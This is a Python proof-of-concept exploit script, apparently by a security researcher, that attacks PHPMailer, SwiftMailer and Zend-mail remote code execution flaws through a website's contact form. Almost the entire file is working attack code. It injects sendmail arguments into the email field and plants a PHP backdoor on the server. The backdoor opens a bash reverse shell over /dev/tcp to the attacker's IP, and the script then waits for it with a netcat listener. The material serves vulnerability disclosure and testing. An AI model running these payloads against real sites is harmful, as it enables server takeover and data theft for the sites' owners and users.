1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205 | #!/usr/bin/python
intro = """\033[94m
__ __ __ __ __
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
/____/
PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit
a.k.a "PwnScriptum"
CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074
This PoC exploit aims to execute a reverse shell on the target in
the context of the web-server user via vulnerable PHP email library.
Discovered and Coded by:
\033[1;34m
Dawid Golunski
https://legalhackers.com
t: @dawid_golunski for updates
\033[0m
\033[94m
P.$. For testing only! Don't break the Web ;)
\033[0m
"""
info = """
[Version]
Limited (ver. 1.0)
[PoC Video]
See the the exploit in action at:
https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
[Info]
This exploit targets a common webapp component - Contact Form.
It combines payloads for the following vulns:
1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html
3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html
4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html
[Usage]
./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT
[-d TARGET_UP_DIR] -ip ATTACKERS_IP
[-p ATTACKERS_PORT] [--version]
[--post-action POST_ACTION]
[--post-name POST_NAME]
[--post-email POST_EMAIL]
[--post-msg POST_MSG]
Note, make sure the contact form matches the default field names (send/name/email/msg).
Otherwise override with --post-msg=message_box for example.
"""
import os
import argparse
import time
import urllib
import urllib2
import socket
import sys
# The Main Meat
print intro
# Show info
if '-H' in sys.argv:
print info
exit(0)
# Parse input args
parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)')
parser.add_argument('-H', action='store_true', default="false", required=False, help='Full Help / Info Page')
parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url')
parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname')
parser.add_argument('-d' , dest='TARGET_UP_DIR', required=False, help='Target Upload Dir')
parser.add_argument('-ip', dest='ATTACKERS_IP', required=True, help='Attackers Public IP for RevShell')
parser.add_argument('-p', dest='ATTACKERS_PORT', required=False, help='Attackers Port for RevShell listener')
parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition')
parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send")
parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name")
parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email")
parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg")
args = parser.parse_args()
# Preset vars
TMOUT = 3
# Set Vars
if args.ATTACKERS_PORT is None:
args.ATTACKERS_PORT = 8080
if args.TARGET_UP_DIR is None:
args.TARGET_UP_DIR = "upload"
# Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;)
BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php'
BACKDOOR_URL = args.WEBAPP_BASE_URL + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE
CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT
# Show params
print """[+] Setting vars to: \n
WEBAPP_BASE_URL = [%s]
CONTACT_SCRIPT = [%s]
TARGET_UP_DIR = [%s]
ATTACKERS_IP = [%s]
ATTACKERS_PORT = [%s]
CONTACT_SCRIPT_URL = [%s]
BACKDOOR_FILEl = [%s]
""" % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE)
print "[+] Choose your target / payload: "
print "\033[1;34m"
print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""
print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)
The escapeshellarg() bypass :)\n"""
print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""
print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
print "\033[0m"
try:
target = int(raw_input('[?] Select target [1-2]: '))
except ValueError:
print "Not a valid choice. Exiting\n"
exit(2)
if (target>4):
print "No such target. Exiting\n"
exit(3)
if target == 1:
# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 2:
# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
payload = "\"attacker\\' -oQ/tmp/ -X%s/%s some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 3:
# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 4:
# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR
# PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:
# e.g:
#RCE_PHP_CODE = "<?php phpinfo(); ?>"
RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' "); ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT)
# The form names might need to be adjusted
post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE}
# Attack
# Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor
print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL
data = urllib.urlencode(post_fields)
req = urllib2.Request(CONTACT_SCRIPT_URL, data)
response = urllib2.urlopen(req)
the_page = response.read()
# Check if the backdoor was uploaded correctly.
# A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine
# So we catch the timeout to find out.
# Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it
print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL
got_timeout = 0
http_err = 0
try:
urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))
except urllib2.HTTPError as e:
http_err = e.code
except socket.timeout as e:
print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n"
got_timeout = 1
if (got_timeout != 1):
print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err
exit(2)
# Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called
print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n"
print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n"
os.system("nc -v -l -p %d" % args.ATTACKERS_PORT)
print "\n[+] Shell closed\n"
print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"
|